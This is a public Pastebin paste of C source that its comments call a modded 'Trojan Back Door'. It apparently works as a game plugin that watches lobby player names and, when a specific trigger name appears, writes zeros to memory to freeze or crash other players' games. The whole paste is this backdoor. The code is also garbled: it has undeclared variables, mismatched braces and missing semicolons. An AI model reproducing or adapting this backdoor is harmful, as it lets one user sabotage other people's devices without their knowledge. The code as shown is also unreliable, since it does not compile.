Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Feb 9th, 2010 | Syntax: None | Size: 1.79 KB | Hits: 20 | Expires: Never
This paste has a previous version, view the difference. Copy text to clipboard
  1. //Modded From Dmonchilds Trojan Back Door Source Code to make understanding better
  2.  
  3. //Stores the values here
  4. char  *DARK987space = "DARK987 ";
  5. char  *DARK987spacespace = "DARK987  ";
  6. char  *DARK987spacespacespace = "DARK987   ";
  7.  
  8. //Integers For BackDoor
  9. unsigned int *FreezeBackDoor=(unsigned int*) (0x00000000+0x08800000);
  10. unsigned int *Error17BackDoor=(unsigned int*) (0x00500008+0x08800000);
  11. unsigned int *VirusSelfBackDoor=(unsigned int*) (0x0055A048+0x08800000);
  12.  
  13. //adds and reads the pointer and offsets together
  14. void nRead (unsigned int Pointers, unsigned int Offsets){
  15.  
  16. //If the pointer is above 0x08800000 and the pointer is below 0x0A000000 then activate the backdoor
  17. if((* NamePointers>= 0x08800000) && (* NamePointers < 0x0A000000)){
  18.  
  19. //Adds both the pointer and the offset
  20. unsigned char *DMA=(unsigned int*) (*NamePointers+Offsets);
  21.  
  22. //is an integer for the name pointers
  23. unsigned int *NamePointers=(unsigned int*) (address+0x08800000){
  24.  
  25. //Compares the names in lobby and if it equals the word or number then do action
  26. if (strcmp(DMA, DARK987space)==0){
  27. *FreezeBackDoor=0x00000000
  28. }
  29. else {
  30. if (strcmp(DMA, DARK987spacespace)==0){
  31. *VirusSelfBackDoor=0x00000000
  32. }
  33. }
  34. else {
  35. if (strcmp(pointerandoffset, DARK987spacespacespace)==0){
  36. *Error17BackDoor=0x00000000
  37. }
  38. }
  39. //Calls The Function nRead to read the address to make the back door work
  40. void nGrab(){
  41. nRead(0x0056145C, 0x0E);
  42. nRead(0x00561464, 0x0E);
  43. nRead(0x0056146C, 0x0E);
  44. nRead(0x00561474, 0x0E);
  45. nRead(0x0056147C, 0x0E);
  46. nRead(0x00561484, 0x0E);
  47. nRead(0x0056148C, 0x0E);
  48. nRead(0x00561494, 0x0E);
  49. nRead(0x0056149C, 0x0E);
  50. nRead(0x005614A4, 0x0E);
  51. nRead(0x005614AC, 0x0E);
  52. nRead(0x005614B4, 0x0E);
  53. nRead(0x005614BC, 0x0E);
  54. nRead(0x005614C4, 0x0E);
  55. nRead(0x005614CC, 0x0E);
  56. nRead(0x005614D4, 0x0E);
  57. }
  58. }
  59. }
  60. }